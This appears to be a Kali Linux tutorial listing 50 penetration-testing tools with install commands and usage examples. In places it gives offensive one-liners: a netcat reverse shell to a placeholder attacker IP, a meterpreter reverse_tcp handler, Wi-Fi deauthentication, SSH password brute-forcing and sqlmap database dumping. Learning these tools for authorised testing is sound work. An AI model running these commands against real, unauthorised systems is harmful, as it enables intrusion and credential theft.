



The Ultimate Kali Linux Tool Cheat-Sheet — 50 Tools to Master

1. Information Gathering / Reconnaissance

Used to collect intelligence about the target before exploitation.

1. **Nmap** – Network discovery & port scanning tool.
2. **Recon-ng** – Web reconnaissance framework (like Metasploit for recon).
3. **Maltego** – Graphical link analysis tool for OSINT & data mining.
4. **theHarvester** – Gathers emails, subdomains, and hosts from public sources.
5. **Dnsenum** – DNS information enumerator (for subdomains, records, etc.).
6. **Amass** – Advanced DNS enumeration and attack surface mapping tool.
7. **Whois** – Retrieves domain registration details.
8. **Shodan CLI** – Queries the Shodan database to identify exposed devices.
9. **Netdiscover** – Passive ARP scanner for discovering network hosts.

10. **OSRFramework** – OSINT toolset to gather usernames, domains, etc.

2. Vulnerability Analysis

Helps identify weaknesses and potential exploits in systems or applications.

1. **Nikto** – Web server scanner that detects vulnerabilities & misconfigurations.
 2. **OpenVAS / Greenbone** – Full-featured vulnerability scanner.
 3. **Lynis** – Security auditing tool for Unix-based systems.
 4. **Wapiti** – Web application vulnerability scanner (supports GET/POST).
 5. **Skipfish** – High-speed web application security recon tool.
 6. **Nessus (manual install)** – One of the best enterprise vulnerability scanners.
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3. Exploitation Tools

Used to exploit vulnerabilities and gain system access.

1. **Metasploit Framework** – The most famous exploitation and post-exploitation framework.
 2. **Armitage** – GUI frontend for Metasploit.
 3. **BeEF (Browser Exploitation Framework)** – Exploits browser vulnerabilities.
 4. **SET (Social Engineering Toolkit)** – Social engineering attack simulation tool.
 5. **SQLmap** – Automates SQL injection detection and exploitation.
 6. **RouterSploit** – Exploitation framework for routers and IoT devices.
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4. Wireless Attacks

Focuses on wireless network hacking and auditing.

1. **Aircrack-ng** – Suite for Wi-Fi cracking and monitoring.
2. **Reaver** – Bruteforces WPS PINs to recover WPA/WPA2 passphrases.
3. **Wifite2** – Automated wireless network attack tool.
4. **Fern Wi-Fi Cracker** – GUI-based wireless auditing tool.
5. **Kismet** – Wireless network detector and sniffer.

6. **Wifiphisher** – Creates rogue Wi-Fi APs for phishing-based credential capture.
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5. Password Attacks / Cracking

Used for brute-force or dictionary attacks against passwords and hashes.

1. **John the Ripper** – Classic password cracking tool.
 2. **Hydra** – Fast and versatile online password cracker (supports many protocols).
 3. **Medusa** – Another multi-threaded login brute-forcer.
 4. **Hashcat** – GPU-accelerated password cracker.
 5. **CeWL** – Custom wordlist generator from target websites.
 6. **Crunch** – Wordlist generator based on patterns and rules.
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6. Web Application Testing

Specialized tools for analyzing and attacking web apps.

1. **Burp Suite** – Comprehensive web vulnerability scanner and proxy.
 2. **OWASP ZAP** – Open-source alternative to Burp for scanning web apps.
 3. **Dirb / Gobuster / Dirbuster** – Directory and file brute-forcers.
 4. **Wfuzz** – Web fuzzing tool for brute-forcing parameters.
 5. **CMSmap** – Detects and exploits CMS vulnerabilities (WordPress, Joomla, etc.).
 6. **WhatWeb** – Fingerprints technologies running on web servers.
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7. Sniffing & Spoofing

Used to intercept, analyze, and manipulate network traffic.

1. **Wireshark** – Packet capture and analysis tool.
2. **Ettercap** – Man-in-the-middle attack framework.
3. **Bettercap** – Successor to Ettercap; powerful MITM & network manipulation tool.

4. **MITMf (Man-In-The-Middle Framework)** – Combines multiple MITM modules.
 5. **dsniff** – Collection of tools for password sniffing and MITM attacks.
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8. Post-Exploitation & Forensics

Used after initial compromise or for digital investigations.

1. **Netcat** – Network swiss-army knife (reverse shells, banner grabbing, etc.).
 2. **PowerSploit** – PowerShell scripts for post-exploitation on Windows.
 3. **Autopsy** – Digital forensics GUI tool for evidence analysis.
 4. **Volatility** – Memory forensics framework.
 5. **Empire** – Post-exploitation framework using PowerShell & Python.
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Bonus Tools

- **Responder** – Captures and poisons LLMNR/NBT-NS requests for credential capture.
 - **BloodHound** – Analyzes Active Directory attack paths.
 - **CrackMapExec** – Swiss army knife for pentesting Windows/AD networks.
 - **Chisel / Socat** – For port forwarding & tunneling.
 - **Evil-WinRM** – Remote management shell for Windows exploitation.
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Pro Tip:

If you're learning Kali Linux:

👉 Start with **Nmap, Metasploit, Burp Suite, Aircrack-ng, Wireshark, Hydra, and John** — they're your **core toolkit** for 80% of pentesting workflows.

Kali Linux Tools — Step-by-Step Installation Guide (Top 50)

First, universal prerequisites (do this once on a fresh Kali install):

```
# 1) Update & upgrade package lists
sudo apt update && sudo apt upgrade -y
```

```
# 2) Install common build tools & Python tooling used by many tools
sudo apt install -y git build-essential python3 python3-pip ruby-full default-jre
```

```
# 3) If you plan to install packages from source, also useful:
sudo apt install -y autoconf automake libtool pkg-config
```

I'll mark the installation method for each tool (APT / git / other) and show exact commands. Where a tool is available in Kali's repositories, `sudo apt install <pkg>` is usually the fastest and safest route. For some tools you'll clone from GitHub and build/install.

I used Kali's official tool pages and primary project docs as references for core installation and usage details. ([Kali Linux](#))

◆ Information Gathering / Reconnaissance

1. Nmap — Network discovery & port scanning

Deep dive & use-cases: Active network discovery: host discovery, port scanning, service/version detection, OS fingerprinting. Foundational for mapping a target's attack surface.

Install (Kali / Debian):

```
sudo apt update
sudo apt install -y nmap
```

Quick init & examples:

- Host discovery: `nmap -sn 10.10.10.0/24`
- Port scan & service detection: `nmap -sSV -p1-65535 target.com`
- Script scanning: `nmap --script vuln target.com`

Notes: Learn NSE scripts (`--script`), timing (`-T4`) and output formats (`-oA`).

Citation for Kali tool page. ([Kali Linux](#))

2. Recon-ng — Web reconnaissance framework

Deep dive & use-cases: Recon-ng provides modules like Metasploit-style workflow for OSINT: WHOIS, DNS, social media, collecting and exporting intelligence.

Install:

```
sudo apt update
sudo apt install -y recon-ng
# or pip (if you prefer latest): pip3 install recon-ng
```

Quick commands:

- Start: `recon-ng`
- Create workspace: `workspaces create acme`
- Load module: `modules load recon/domains-hosts/brute_hosts`

Notes: Use API keys (Shodan, Censys) inside `recon-ng` for richer results.

3. Maltego — Graphical link analysis (OSINT)

Deep dive: Graph-based visualization of relationships (domains, people, email addresses). Great for complex OSINT investigations.

Install (Kali typically ships with Maltego CE/Pro available or install via package/download):

```
sudo apt update
sudo apt install -y maltego
# Or download latest from Paterva (maltego.com) for pro/CE installers
```

Quick usage: Launch GUI: `maltego` → create a transform, run transforms to expand nodes.

4. theHarvester — Emails, subdomains, hosts collection

Deep dive: Lightweight OSINT tool to harvest email addresses, subdomains, hosts from search engines and public sources.

Install:

```
sudo apt update
sudo apt install -y theharvester
# or pip: pip3 install theHarvester
```

Example:

```
theHarvester -d target.com -b google -l 200
```

Notes: Combine with wordlists for subdomain discovery automation.

5. dnsenum — DNS enumeration

Deep dive: DNS info: zone transfers, brute-force subdomains, NS/MX records.

Install:

```
sudo apt update
sudo apt install -y dnsenum
```

Example: `dnsenum --enum target.com`

6. Amass — Advanced DNS enumeration & attack surface mapping

Deep dive: Powerful for passive and active subdomain enumeration, graphing, scraping certificate transparency logs, and more.

Install (APT or Git):

```
sudo apt update
sudo apt install -y amass
# or latest via: snap or GitHub releases
```

Examples:

- Passive enum: `amass enum -passive -d target.com`

- Active brute force: `amass enum -brute -d target.com`

Notes: Useful with API keys (VirusTotal, Censys) to enrich results.

7. Whois — domain registration details

Deep dive: Lookup domain registrant, creation/expiry dates, name servers.

Install:

```
sudo apt update
sudo apt install -y whois
```

Example: `whois example.com`

8. Shodan CLI — Query Shodan for exposed devices

Deep dive: Query Shodan database for exposed services (IoT, cameras, industrial gear).

Install:

```
sudo apt update
sudo apt install -y shodan
# then configure with API key
shodan init YOUR_API_KEY
```

Example: `shodan host 1.2.3.4` or `shodan search "apache country:IN"`

9. Netdiscover — passive ARP scan

Deep dive: Quick local network host discovery using ARP. Useful on networks without active DHCP/DNS info.

Install:

```
sudo apt update
sudo apt install -y netdiscover
```

Example: `netdiscover -r 192.168.1.0/24`

10. OSRFramework — OSINT username/domain tools

Deep dive: Collection of scripts to find usernames/emails across services.

Install:

```
sudo apt update
sudo apt install -y osrframework
# or pip: pip3 install osrframework
```

Quick tip: Use `email2twitter`, `usernames.py` modules for cross-platform username checks.

◆ Vulnerability Analysis

11. Nikto — Web server scanner

Deep dive: Scans web servers for outdated software, misconfigurations, and dangerous files.

Install:

```
sudo apt update
sudo apt install -y nikto
# or git clone https://github.com/sullo/nikto.git
```

Example: `nikto -h http://target.com -output nikto-results.html`

12. OpenVAS / Greenbone (GVM) — Vulnerability scanner

Deep dive: Full-featured network vulnerability scanner (GVM is the Greenbone stack). Heavier; requires setup of services, feeds.

Install: On Kali, use Greenbone packages or follow Greenbone docs. Typical high-level:

```
sudo apt update
sudo apt install -y gvm
# then run setup: sudo gvm-setup
# start services: sudo gvm-start
```

Notes: Feed sync and credentialed scans need extra config.

13. Lynis — Security auditing for Unix

Deep dive: System hardening auditor — checks configuration, installed packages, suggestions for remediation.

Install:

```
sudo apt update
sudo apt install -y lynis
# run: sudo lynis audit system
```

14. Wapiti — Web application vulnerability scanner

Deep dive: Crawls web app and tests for SQLi, XSS, file inclusion, command execution.

Install:

```
sudo apt update
sudo apt install -y wapiti
# or pip3 install wapiti3
```

Example: `wapiti http://target.com -f html -o wapiti_report.html`

15. Skipfish — High-speed web recon

Deep dive: Fast site crawler & scanner designed for large-scale reconnaissance.

Install:

```
sudo apt update
sudo apt install -y skipfish
```

Example: `skipfish -o out_dir http://target.com/`

16. Nessus (manual install) — Enterprise vulnerability scanner

Deep dive: Commercial-grade scanner by Tenable. Requires downloading their package and license/activation. Not always in Kali repos.

Install (general):

1. Download appropriate .deb from Tenable (nessus.org).
2. Install:

```
sudo dpkg -i Nessus-<version>.deb
sudo systemctl start nessusd
# open web UI at https://localhost:8834 for setup
```

Notes: Use for authenticated comprehensive scans. Requires license (free Home or paid Professional).

◆ Exploitation Tools

17. Metasploit Framework — Exploitation/post-exploitation

Deep dive: Modular exploitation, payloads, post-exploitation modules; integrates with auxiliary scanners and supports msfconsole automation.

Install (Kali):

```
sudo apt update
sudo apt install -y metasploit-framework
# start postgresql then initialize DB (Kali doc):
sudo systemctl start postgresql
sudo msfdb init
msfconsole
```

Quick example: `use exploit/multi/handler` → `set payload linux/x86/meterpreter/reverse_tcp` → `exploit`

Notes: Requires database initialization for workspace management and loot. (Kali Linux)

18. Armitage — GUI for Metasploit

Deep dive: Visual interface for Metasploit — map targets, run exploits collaboratively.

Install:

```
sudo apt update
sudo apt install -y armitage
# ensure metasploit and postgresql are running
armitage
```

19. BeEF (Browser Exploitation Framework)

Deep dive: Focused on exploiting browser vulnerabilities via hooked browsers; great for social-engineering demos and client-side testing.

Install:

```
sudo apt update
sudo apt install -y beef-xss
# start beef: sudo beef-xss
# open web UI at http://127.0.0.1:3000
```

20. SET (Social Engineering Toolkit)

Deep dive: Automates social engineering attacks (phishing pages, credential harvesters, PowerShell payloads).

Install:

```
sudo apt update
sudo apt install -y se-toolkit
# or git clone https://github.com/trustedsec/social-engineer-toolkit.git
```

Run: `setoolkit`

21. SQLmap — automated SQL injection exploitation

Deep dive: Detects and exploits SQLi; supports many DB engines and techniques; can dump DBs and enumerate tables.

Install:

```
sudo apt update
sudo apt install -y sqlmap
```

```
# or git clone https://github.com/sqlmapproject/sqlmap.git
```

Example: `sqlmap -u "http://target.com/page?id=1" --dump`

22. RouterSploit — router & IoT exploitation

Deep dive: Framework for testing routers/embedded devices for known vulnerabilities.

Install:

```
sudo apt update
sudo apt install -y routersploit
# or git clone https://github.com/threat9/routersploit.git
```

Run: `rsf` then `help` to list modules.

◆ Wireless Attacks

23. Aircrack-ng — Wi-Fi auditing suite

Deep dive: Capture and analyze 802.11 packets; crack WEP/WPA PSK with captured handshakes and wordlists.

Install:

```
sudo apt update
sudo apt install -y aircrack-ng
# or build from git for latest features:
# git clone https://github.com/aircrack-ng/aircrack-ng.git
# autoreconf -i && ./configure && make && sudo make install && sudo ldconfig
```

Example flow:

1. `airmon-ng start wlan0` (create monitor mode)
2. `airodump-ng wlan0mon -w capture`
3. `aireplay-ng --deauth 10 -a <AP> wlan0mon` (force handshake)
4. `aircrack-ng -w wordlist.txt capture-01.cap`

Notes: Needs compatible wireless adapter. ([Kali Linux](#))

24. Reaver — WPS PIN brute-force

Deep dive: Brute-forces WPS PINs—can retrieve WPA/WPA2 passphrase if WPS is enabled and vulnerable.

Install:

```
sudo apt update
sudo apt install -y reaver
```

Example: `reaver -i wlan0mon -b <AP_BSSID> -vv`

25. Wifite2 — automated Wi-Fi attack tool

Deep dive: Automates attack sequence: scan, deauths, handshake capture, WPA crack attempts.

Install:

```
sudo apt update
sudo apt install -y wifite
# Or git clone wifite2 for latest
```

Run: `sudo wifite`

26. Fern Wi-Fi Cracker — GUI wireless auditor

Deep dive: GUI-driven wireless auditing for WEP/WPA/WPS attacks and DoS.

Install:

```
sudo apt update
sudo apt install -y fern-wifi-cracker
# Launch: fern-wifi-cracker
```

27. Kismet — wireless detector & sniffer

Deep dive: Passive Wi-Fi/BT/IoT detection with logging and plotting.

Install:

```
sudo apt update
sudo apt install -y kismet
# config and run: sudo kismet
```

28. Wifiphisher — rogue AP for credential capture

Deep dive: Social-engineering-based Wi-Fi phishing — creates rogue AP and serves fake captive portals.

Install:

```
sudo apt update
sudo apt install -y wifiphisher
# or git clone https://github.com/wifiphisher/wifiphisher
```

Run: `sudo wifiphisher`

◆ Password Attacks / Cracking

29. John the Ripper — password cracker

Deep dive: Great for offline hash cracking; supports “jumbo” builds for more formats.

Install:

```
sudo apt update
sudo apt install -y john
# For jumbo features: git clone https...
```

Example: `john --wordlist=/usr/share/wordlists/rockyou.txt hashfile`

30. Hydra — online password brute-forcer

Deep dive: Fast multi-protocol password bruteforcer (ssh, ftp, http, smb, etc.)

Install:

```
sudo apt update
```

```
sudo apt install -y hydra
```

Example: `hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5`

31. Medusa — multithreaded login brute-forcer

Deep dive: Similar to Hydra; multi-threaded and modular.

Install:

```
sudo apt update  
sudo apt install -y medusa
```

32. Hashcat — GPU-accelerated password cracker

Deep dive: The de-facto high-performance hash cracking tool for modern GPUs; handles many hashing algorithms.

Install:

```
sudo apt update  
sudo apt install -y hashcat
```

Example: `hashcat -m 1000 -a 0 hash.txt /path/to/wordlist.txt`

33. CeWL — custom wordlist generator from websites

Deep dive: Crawl a target site and create a target-specific wordlist to increase cracking success.

Install:

```
sudo apt update  
sudo apt install -y cewl
```

Example: `cewl -w wordlist.txt https://target.com`

34. Crunch — wordlist generator

Deep dive: Create highly-customized wordlists based on patterns and charset rules.

Install:

```
sudo apt update  
sudo apt install -y crunch
```

Example: `crunch 8 10 abcdef123 -o mylist.txt` (length 8–10 using chars)

◆ Web Application Testing

35. Burp Suite — web proxy & scanner

Deep dive: Intercepting proxy with scanner, repeater, intruder. Burp Community is limited; Pro has the full scanner and advanced features.

Install (Kali package or official download):

```
sudo apt update  
sudo apt install -y burpsuite  
# or download the latest from PortSwigger and run the jar:  
# java -jar burpsuite_community.jar
```

Quick steps: Configure browser proxy → intercept traffic → send interesting requests to Repeater/Intruder/Scanner. ([Kali Linux](#))

36. OWASP ZAP — open-source web scanner

Deep dive: Similar to Burp for active scanning and spidering; good free alternative with automation.

Install:

```
sudo apt update  
sudo apt install -y zaproxy
```

Run: `zaproxy`

37. Dirb / Gobuster / Dirbuster — directory & file brute-forcers

Deep dive: Enumerate hidden directories and files on web servers using wordlists.

Install:

```
sudo apt update
sudo apt install -y dirb gobuster dirbuster
```

Example (gobuster):

```
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
```

38. Wfuzz — web parameter fuzzing

Deep dive: Powerful for fuzzing parameters, enumerating inputs, and finding injection points.

Install:

```
sudo apt update
sudo apt install -y wfuzz
# or pip3 install wfuzz
```

Example: `wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target/FUZZ`

39. CMSmap — CMS vulnerability scanner

Deep dive: Scans WordPress/Joomla/Drupal for known issues and weak configurations.

Install:

```
sudo apt update
sudo apt install -y cmsmap
# or git clone https...
```

40. WhatWeb — web server fingerprinting

Deep dive: Identifies web technologies (server, CMS, plugins).

Install:

```
sudo apt update
sudo apt install -y whatweb
```

Example: `whatweb -v target.com`

◆ Sniffing & Spoofing

41. Wireshark — packet capture & analysis

Deep dive: GUI packet analyzer; deep inspection of many protocols and capture filters.

Install:

```
sudo apt update
sudo apt install -y wireshark
# allow non-root capture:
sudo dpkg-reconfigure wireshark-common
sudo usermod -aG wireshark $USER
```

Start: `wireshark` (or `tshark` for CLI)

42. Ettercap — MITM framework (ARP poisoning)

Deep dive: Intercept traffic, plugin-based manipulation, sniff credentials.

Install:

```
sudo apt update
sudo apt install -y ettercap-graphical
# or ettercap-text-only
```

Run: `sudo ettercap -G` (GUI)

43. Bettercap — modern MITM, successor to Ettercap

Deep dive: Real-time traffic manipulation, built-in modules for HTTP/HTTPS/SMB poisoning, etc.

Install:

```
sudo apt update
sudo apt install -y bettercap
```

```
# or go get github.com/bettercap/bettercap
```

Example: `sudo bettercap -iface wlan0` then use built-in caplets.

44. MITMf (Man-In-The-Middle Framework)

Deep dive: Collection of MITM modules (note: project activity has varied; use cautiously).

Install:

```
# project may require cloning and dependencies
git clone https://github.com/byt3bl33d3r/MITMf.git
cd MITMf
./setup.sh
```

Notes: Check repo status before use.

45. dsniff — password sniffing tools

Deep dive: Set of tools: `dsniff`, `filesnarf`, `mailsnarf` and `urlsnarf` to sniff creds and traffic.

Install:

```
sudo apt update
sudo apt install -y dsniff
```

◆ Post-Exploitation & Forensics

46. Netcat — swiss-army networking tool

Deep dive: TCP/UDP client/server, port forwarding, quick shells.

Install:

```
sudo apt update
sudo apt install -y netcat-openbsd
```

Examples:

- Bind shell (attacker listens): `nc -lvp 4444 -e /bin/bash`
 - Reverse shell (target connects back): `nc attacker_ip 4444 -e /bin/bash`
-

47. PowerSploit — Windows PowerShell post-exploitation

Deep dive: Collection of PowerShell scripts for privilege escalation, credential harvesting, and persistence on Windows.

Install (on attacker machine for crafting payloads):

```
git clone https://github.com/PowerShellMafia/PowerSploit.git
# use modules like Recon, Exfiltration on target PowerShell sessions
```

48. Autopsy — Digital forensics GUI

Deep dive: Forensic image analysis, timeline, keyword searching, file carving.

Install:

```
sudo apt update
sudo apt install -y autopsy sleuthkit
# run: autopsy (web UI by default)
```

49. Volatility — memory forensics

Deep dive: Analyze RAM images for processes, injected code, credentials, artifacts.

Install:

```
sudo apt update
sudo apt install -y volatility
# or pip3 install volatility3 (for newer versions)
```

Example: `volatility -f memdump.raw --profile=Win7SP1x64 pslist`

50. Empire — post-exploitation framework (PowerShell/Python)

Deep dive: Post-exploitation agent with modular functionality (note: project status has changed over time—use reviewed forks and be careful with red-

team rules).

Install:

```
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/install.sh
```

Run: `./empire` and use listeners/agents for Windows targets.

Bonus tools

- **Responder** — LLMNR/NetBIOS poisoner; `sudo apt install responder` .
 - **BloodHound** — AD attack path analysis; `git clone https://github.com/BloodHoundAD/BloodHound.git` (plus Neo4j).
 - **CrackMapExec** — post-exploitation/AD lateral movement tool: `sudo apt install crackmapexec` .
 - **Chisel / Socat** — tunneling/port forwarding; `sudo apt install chisel socat` .
 - **Evil-WinRM** — Windows remote management shell: `sudo gem install evil-winrm` or via apt packages.
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Sources / references

- Kali Linux tool pages (Nmap, Aircrack-ng, Metasploit, Burp Suite pages). ([Kali Linux](#))
-